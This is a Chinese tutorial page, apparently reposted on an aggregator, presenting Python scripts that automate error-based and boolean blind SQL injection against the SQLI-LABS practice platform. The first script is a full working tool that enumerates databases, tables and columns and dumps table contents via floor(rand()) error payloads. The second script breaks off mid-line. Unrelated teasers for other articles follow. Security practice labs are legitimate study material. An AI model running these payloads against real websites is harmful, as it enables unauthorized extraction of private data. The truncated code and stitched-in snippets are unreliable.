python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的。这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入,坐等信息爆出的感觉–>我就静静看着不说话_

以下两个python脚本仅适用于SQLI-LABS,在其他平台使用还需要做少许改动~~~

*** SQLI-LABS 是一个专业的SQL注入练习平台**

基于报错型注入的自动化脚本(sqli-labs-master/Less-5/)

#!/usr/bin/env python

#coding=utf-8

import sys

import requests

import re

import binascii

#sys.argv[1]

# --dbs url

# --tables -D database url

# --columns -T tablename -D database url

# --dump -C columnname -T tablename -D database url

def http_get(url):

# proxies = {'http': 'http://127.0.0.1:8080'}

#return requests.get(dbs_num_url, proxies=proxies)

return requests.get(url)

def getAllDatabases(url):

dbs_num_url = url + "'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e, count(distinct+table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ "

resp = http_get(dbs_num_url)

html = resp.content

#print html

# ~~:~~4~~:~~

dbs_num = int(re.search(r'~~:~~(d*?)~~:~~', html).group(1))

print (u"数据库数量: %d" % dbs_num)

dbs = []

print (u"数据库名: ")

for index in xrange(0,dbs_num):

db_name_url = url + "'+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % index

html = http_get(db_name_url).content

db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)

dbs.append(db_name)

print ("t%s" % db_name)

def getAllTablesByDb(url, db_name):

db_name_hex = "0x" + binascii.b2a_hex(db_name)

tables_num_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, count(table_name), 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % db_name_hex

html = http_get(tables_num_url).content

tables_num = int(re.search(r'~~:~~(d*?)~~:~~', html).group(1))

print (u"%s 库中,表的数量: %d" % (db_name, tables_num))

print (u"表名: ")

for index in xrange(0,tables_num):

tables_name_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, table_name, 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex, index)

html = http_get(tables_name_url).content

table_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)

print ("t%s" % table_name)

def getAllColumnsByTable(url, db_name,tab_name):

db_name_hex = "0x" + binascii.b2a_hex(db_name)

tab_name_hex = "0x" + binascii.b2a_hex(tab_name)

column_num_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select count(column_name) from information_schema.columns where table_schema=%s and table_name=%s),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name_hex,tab_name_hex)

html = http_get(column_num_url).content

column_num = int(re.search(r'::(d*?)::', html).group(1))

print (u"%s 表中,字段的数量: %d" % (tab_name, column_num))

print (u"列名:")

for index in xrange(0,column_num):

tables_name_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema=%s and table_name=%s limit %d,1),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name_hex,tab_name_hex,index)

html = http_get(tables_name_url).content

column_name = re.search(r'::(.*?)::', html).group(1)

print ("t%s" % column_name)

pass

def getAllContent(url, db_name, tab_name, col_name,):

# db_name_hex = "0x" + binascii.b2a_hex(db_name)

# tab_name_hex = "0x" + binascii.b2a_hex(tab_name)

# col_name = binascii.b2a_hex(col_name)

# col = re.split(",",col_name) #分割参数:字段名

# le = len(col)

content_num_url = url + "' and (select 1 from (select count(*),concat(0x3a,0x3a,(select count(*) from %s.%s),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (db_name,tab_name)

html = http_get(content_num_url).content

col_name_re = col_name.replace(',',',0x09,')

content_num = int(re.search(r'::(d*?)::', html).group(1))

print "%s 表中,行数为: %d" % (tab_name, content_num)

for index in xrange(0,content_num):

content_name_url = url + "' and (select 1 from (select count(*),concat((select concat(0x3a,0x3a,%s,0x3a,0x3a) from %s.%s limit %d,1), floor(rand(0)*2)) a from information_schema.columns group by a)s) --+" % (col_name_re,db_name,tab_name,index)

html = http_get(content_name_url).content

# print htmlsss

content_name = re.search(r'::(.*?)::', html).group(1)

print "t%s" % content_name

def main():

if sys.argv[1] == '--dbs':

getAllDatabases(sys.argv[2])

elif sys.argv[1] == '--tables':

getAllTablesByDb(sys.argv[4], sys.argv[3])

elif sys.argv[1] == '--columns':

# print sys.argv[6],sys.argv[5],sys.argv[3]

getAllColumnsByTable(sys.argv[6],sys.argv[5],sys.argv[3])

pass

elif sys.argv[1] == '--dump':

getAllContent(sys.argv[8], sys.argv[7], sys.argv[5], sys.argv[3])

# print sys.argv[8], sys.argv[7], sys.argv[5], sys.argv[3]

pass

else:

print (u"我不懂你的参数!")

if __name__ == '__main__':

main()

基于bool型注入(sql盲注)的自动化脚本(sqli-labs-master/Less-8/)

#!/usr/bin/env python

#coding=utf-8

import sys

import requests

import re

import binascii

#sys.argv[1]

# --dbs url

# --tables url -D database

# --columns url -D database -T tablename

# --dump url -D database -T tablename -C columnname

def http_get(url):

return requests.get(url)

pass

def dichotomy(sql): #二分法

left = 1

right = 500

while 1:

mid = (left + right)/2

# print mid

if mid == left:

return mid

break

db_count_url = sql + "%d)--+" % mid

# print db_count_url

html = http_get(db_count_url).content

# print html

search_flag = re.search("You are in", html)

if search_flag:

right = mid

# print "right:" + str(right)

else:

left = mid

# print "left:" + str(left)

def getAllDabatases(url):

search_db_num =url + "' and ((select count(schema_name) from information_schema.schemata)

文章来源于互联网,如有雷同请联系站长删除:三、基于报错型注入和sql盲注的自动化实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/275935.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NASA公布“门户计划”,在月球轨道建立空间站进一步探索月球

门户是NASA研发一种小型的宇宙飞船的名字,该宇宙飞船将围绕月球轨道运行 成为宇航员临时住所和办公室。 日前,美国宇航局(以下简称“NASA”)公布了“门户计划”,该计划具体是指在月球轨道上建立空间站,以帮…

浅析Page.LoadTemplate(模板)方法动态获取绑定模板后,通过FindControl获取服务端控件的方法。...

平常使用DataList数据控件绑定数据时&#xff0c;都是在ItemTemplate项里面放入 <asp:DataList ID"list2"runat"server"><ItemTemplate><asp:HyperLink ID"hl"runat"server"></asp:HyperLink></ItemTempl…

苹果5s变砖_苹果砖的故事以及可以改进的地方

苹果5s变砖Even since I can remember I’ve always been curious about trying out all kinds of software, checking out different operating systems, and improving my own user experience through customizing them. Over the years I’ve had the opportunity to test …

学习 launch-editor 源码整体架构,探究 vue-devtools「在编辑器中打开组件」功能实现原理...

1. 前言你好&#xff0c;我是若川[1]&#xff0c;微信搜索「若川视野」关注我&#xff0c;专注前端技术分享&#xff0c;一个愿景是帮助5年内前端开阔视野走向前列的公众号。欢迎加我微信ruochuan12&#xff0c;长期交流学习。这是学习源码整体架构系列 之 launch-editor 源码&…

:传递给 left 或 substring 函数的长度参数无效。_Java函数式编码结构-好程序员

好程序员Java培训分享Java函数式编码结构&#xff0c;本文将探讨三种下一代JVM语言&#xff1a;Groovy、Scala和Clojure&#xff0c;比较并对比新的功能和范例&#xff0c;让Java开发人员对自己近期的未来发展有大体的认识&#xff0c;下面我们一起来看一下吧。当垃圾回收成为主…

系统架构师学习笔记_第十一章(上)_连载

第十一章 信息安全技术 11.1 信息安全关键技术 11.1.1 加密和解密 有意的计算机犯罪 和 无意的数据破坏 被动攻击&#xff1a;非法地从传输信道上截取信息&#xff0c;或从存储载体上 偷窃、复制 信息。 主动攻击&#xff1a;对传输或存储的数据进行 恶意的删除、篡改 等。 …

跨库一致性_设计跨平台的一致性

跨库一致性I offended an Apple employee the other day when I was checking out the new iPad Pro and I told him that I was an Android phone user. Eyes rolled, jokes were made, and we agreed to disagree.前几天&#xff0c;我在检阅新iPad Pro时冒犯了一名苹果员工&…

React-生命周期杂记

前言 自从React发布Fiber之后&#xff0c;更新速度日新月异&#xff0c;而生命周期也随之改变&#xff0c;虽然原有的一些生命周期函数面临废弃&#xff0c;但理解其背后更新的机制也是一种学习 在这里根据官方文档以及社区上其他优秀的文章进行一个对于生命周期的总结&#xf…

漫画 | 一个NB互联网项目的上线过程…

大家好&#xff0c;我是若川&#xff08;点这里加我微信 ruochuan12&#xff0c;长期交流学习&#xff09;。今天虽然是周六&#xff0c;但还是要上班&#xff0c;所以就推荐一篇比较轻松的漫画。点击下方卡片关注我、加个星标&#xff0c;或者查看源码等系列文章。学习源码整体…

stm32 中断处理级别_STM32中断优先级彻底讲解

文章来源&#xff1a;http://blog.sina.com.cn/s/blog_4fed55ce0100j7nd.html一&#xff1a;综述STM32 目前支持的中断共为 84 个(16 个内核68 个外部)&#xff0c; 16 级可编程中断优先级的设置(仅使用中断优先级设置 8bit 中的高 4 位)和16个抢占优先级(因为抢占优先级最多可…

胖子脸:库珀·布莱克100年

In 16th century Europe, roman typefaces were the first to surpass blackletter as the preferred choice for expressing emphasis in print. True bold weight roman letters didn’t appear until the 19th century, which critics quickly coined “Fat Faces” due to …

C语言中的布尔值

C语言的布尔类型在C语言标准(C89)没有定义布尔类型&#xff0c;所以C语言判断真假时以0为假&#xff0c;非0为真。所以我们通常使用逻辑变量的做法&#xff1a; //定义一个int类型变量&#xff0c;当变量值为0时表示false&#xff0c;值为1时表示trueint flag;flag 0;//......…

用委托实现窗体间传值

1.新建一个工程.在Form1中添加一个Label和一个Button.新建一个事件类,让它有一个string 类型的属性,用于传值. 1 ///ReturnValueEventArgs.cs 2 using System; 3 using System.Collections.Generic; 4 using System.Text; 5 6 namespace test 7 { 8 public class Return…

c++ explicit关键字_聊一聊 C++的特性 explicit 匿名空间

聊一聊 C的特性 explicit && 匿名空间explicit关键字首先看一下explicit的作用&#xff1a;explicit 是避免构造函数的参数自动转换为类对象的标识符&#xff0c;平时代码中并不是经常用到&#xff0c;但是&#xff0c;有时候就是因为这个&#xff0c;会造成一定的BUG出…

谷歌浏览器那些有趣的隐藏功能

大家好&#xff0c;我是若川&#xff08;点这里加我微信 ruochuan12&#xff0c;长期交流学习&#xff09;。今天推荐一篇实用文章。文末有抽奖。点击下方卡片关注我、加个星标&#xff0c;或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列很多小伙伴说还是…

AppDelegate的模块化+瘦身

前言 关于iOS的模块化&#xff0c;要追溯到16年接触的BeeHive了&#xff0c;BeeHive将功能模块化&#xff0c;以module的形式进行构建&#xff0c;以performSelector&#xff1a;的形式进行module的事件响应&#xff0c;以protocol的形式进行module间的通信。可以说思路非常清晰…

yii mysql_Yii2框架操作数据库的方法分析【以mysql为例】

本文实例讲述了Yii2框架操作数据库的方法。分享给大家供大家参考&#xff0c;具体如下&#xff1a;准备数据库DROP TABLE IF EXISTS pre_user;CREATE TABLE pre_user(id int(11) AUTO_INCREMENT PRIMARY KEY,username varchar(255) NOT NULL,password varchar(32) NOT NULL DEF…

C++接口注意

1. 用Record接口&#xff0c;要注意 Packed的区别 2. cdecl和stdcall的区别 3. C导出的函数建议用C格式stdcall导出&#xff0c;使用Def文件定义名称 4. 用VS写的API dll要注意是否引用了MFC的DLL&#xff0c;否则会使LoadLibrary失败&#xff0c;并GetLastError后返回14001 Ap…

Vue 3.1.0 的 beta 版发布

大家好&#xff0c;我是若川&#xff08;点这里加我微信 ruochuan12&#xff0c;长期交流学习&#xff09;。昨晚尤大视频号直播说到vue 3.1.0 beta版发布了&#xff0c;今天分享这篇文章。也有小伙伴可能注意到了昨晚我一直在送礼物。点击下方卡片关注我、加个星标&#xff0c…

设计模式练习_设计练习是邪恶的

设计模式练习It was the final round of interviews. Or, so the candidate thought.这是采访的最后一轮。 或者&#xff0c;所以候选人认为。 She’d spent all day interviewing in our office. As the final interviewer, I walked her out the building. She seemed confi…